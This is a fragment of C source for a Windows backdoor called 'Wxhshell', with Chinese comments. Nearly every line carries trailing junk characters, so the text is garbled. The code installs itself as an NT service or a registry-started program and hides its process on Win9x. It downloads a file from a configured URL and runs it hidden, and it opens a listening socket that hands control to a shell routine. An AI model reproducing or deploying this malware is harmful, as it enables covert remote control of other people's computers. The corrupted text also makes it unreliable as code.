} PROCESS_BASIC_INFORMATION; $2M$?4S/T
Nv}=L
: E
PROCNTQSIP NtQueryInformationProcess; x,@B(9No
Zbt.t]N
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '9Xu
p
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $$;M^WV^?.
/cQueUME`
HANDLE hProcess; _P 3G
PROCESS_BASIC_INFORMATION pbi; rCbDu&k]
SaAFz&WRl
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }"P|`"WW
if(NULL == hInst ) return 0; b)5uf'?-
Ru!iR#s)!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H0gbSd+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eFTpnG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J~zUp(>K
iDz++VNV
if (!NtQueryInformationProcess) return 0; Sc1 8dC0
gpvYb7Of0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kY|utoAP
if(!hProcess) return 0; H.|#c^I
GxI!{oi2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FF(#]vz '
0oZ=
yh
CloseHandle(hProcess); O1U= X:Zl
F Q7T'G![
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [")o.(
if(hProcess==NULL) return 0; uLL]A>vR
+yH7v5W
HMODULE hMod; z2_*%S@
char procName[255]; .B]MpmpK
unsigned long cbNeeded; IS{wtuA.
c%2QZ C
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~Z?TFg
Xq]w<$
CloseHandle(hProcess); FaQe_;
b_#m}yZ6
if(strstr(procName,"services")) return 1; // 以服务启动 gmO!
9`A;U|~E@
return 0; // 注册表启动 oim9<_
} t?x<g <PJ4
wOEj)fp.
// 主模块 DJXmGt]
int StartWxhshell(LPSTR lpCmdLine) +ocol6G7W
{ fF$<7O)+]
SOCKET wsl; L_uVL#To
BOOL val=TRUE; NMa} {*sQ
int port=0; :Ij{s
struct sockaddr_in door; g1/[eoZzk
tqvN0vY5
if(wscfg.ws_autoins) Install(); D9CaFu
{W=%U|f
port=atoi(lpCmdLine); t7dt*D_YqK
4n!aW?%
if(port<=0) port=wscfg.ws_port; .9 on@S
z0p*Z&
WSADATA data; X<`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6Z6'}BDP
x=hiQ>BIO0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pMx*F@&nU
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I {S;L
door.sin_family = AF_INET; 0[NZ>7wqMZ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); M=.n7RY-
door.sin_port = htons(port); <CYd+! (
j^j1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \:# L)
closesocket(wsl); qPX~@^`9
return 1; Sz)' ogl
} H1pO!>M
=)H.cuc
if(listen(wsl,2) == INVALID_SOCKET) { w(*vj
closesocket(wsl); 5,Jp[bw{H{
return 1; c)TPM/>(p
} *v
jmy/3
Wxhshell(wsl); h:b)Wr
WSACleanup(); nX6u(U
DkY4MH?
return 0; |"X*@s\'
xaq-.IQAM$
} 8rnwXPBN
N_kMK
// 以NT服务方式启动 7u -p%eq2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z58X5"
{ (Ft+uuG
DWORD status = 0; jiV<+T?
DWORD specificError = 0xfffffff; ^EtMxF@D
k2omJ$?v
serviceStatus.dwServiceType = SERVICE_WIN32; ITE{@1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Xk~D$~4<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gv!2f
serviceStatus.dwWin32ExitCode = 0; #l\=}#\1Wb
serviceStatus.dwServiceSpecificExitCode = 0; =t#llgi~
serviceStatus.dwCheckPoint = 0; ~9a<0Mc?
serviceStatus.dwWaitHint = 0; j\[dx^\=
)0.kv2o.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }>pknc?
if (hServiceStatusHandle==0) return; 8O5s`qKMYT
7{e
4c
status = GetLastError(); fIx+ILs
if (status!=NO_ERROR) 4x=v?g&
{ %B2'~|g
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~RW+GTe
serviceStatus.dwCheckPoint = 0; |B?m,U$A!
serviceStatus.dwWaitHint = 0; AP n| \
serviceStatus.dwWin32ExitCode = status; m)ky*"(
serviceStatus.dwServiceSpecificExitCode = specificError; :[p}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XV7Ex\D*
return; qTRsZz@
} ,8S/t+H
.KB^3pOpx
serviceStatus.dwCurrentState = SERVICE_RUNNING; tVYF{3BhA
serviceStatus.dwCheckPoint = 0; :;RMo2Tl
serviceStatus.dwWaitHint = 0; YFLZ %(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1![!+X:w
} e/KDw
!fV+z%:
// 处理NT服务事件,比如:启动、停止 Avge eJi
VOID WINAPI NTServiceHandler(DWORD fdwControl) j"t(0m
{ IA fcT!{
switch(fdwControl) 1*P~!2h
{ .wEd"A&j
case SERVICE_CONTROL_STOP: *<$*"p
serviceStatus.dwWin32ExitCode = 0; ttaM.
serviceStatus.dwCurrentState = SERVICE_STOPPED; aq>kTaz
serviceStatus.dwCheckPoint = 0; & TCkpS
serviceStatus.dwWaitHint = 0; zq3\}9
{ }kw#7m54
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B+|Kjlt
} DTX0
return; DzAg"6=CS
case SERVICE_CONTROL_PAUSE: yJ[0WY8<kC
serviceStatus.dwCurrentState = SERVICE_PAUSED; QGMV}y
break; JinUV6cr
case SERVICE_CONTROL_CONTINUE: |%BOZT
serviceStatus.dwCurrentState = SERVICE_RUNNING; 70yFaW
break; fF!Yp iI"
case SERVICE_CONTROL_INTERROGATE: h/QXPdV
break; !4ocZmj\
}; poc`q5i+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -mbt4w
} w1FcB$
+r
// 标准应用程序主函数 u4*BX&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U45e2~1!O
{ $!-yr7
k90YV(
// 获取操作系统版本 W-$Z(Z
XL
OsIsNt=GetOsVer(); $H2u.U<ip
GetModuleFileName(NULL,ExeFile,MAX_PATH); *l(7D(#
WJ]T\DI
// 从命令行安装 *[Imn\hu
if(strpbrk(lpCmdLine,"iI")) Install(); `Y0%cXi3
R)?*N@.s
// 下载执行文件 0gu_yg! R
if(wscfg.ws_downexe) { [CTnXb
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /m!BY}4W
WinExec(wscfg.ws_filenam,SW_HIDE); #JqB ;'\
} xS5vbJ
K6)Gc%:`
if(!OsIsNt) { vRTkgH#4l
// 如果时win9x,隐藏进程并且设置为注册表启动 v1#otrf
HideProc(); ,X?{07gH
StartWxhshell(lpCmdLine); h,(26 y/s
} CmWeY$Jb
else j}#w)M
if(StartFromService()) [DYQ"A=)d
// 以服务方式启动 ]E{NNHK%2N
StartServiceCtrlDispatcher(DispatchTable); _kC-dEGf!y
else i9:C4',sw0
// 普通方式启动 !K#qe Y}
StartWxhshell(lpCmdLine); a)!o @
b35fs]}u-6
return 0; xEa\f[.An
}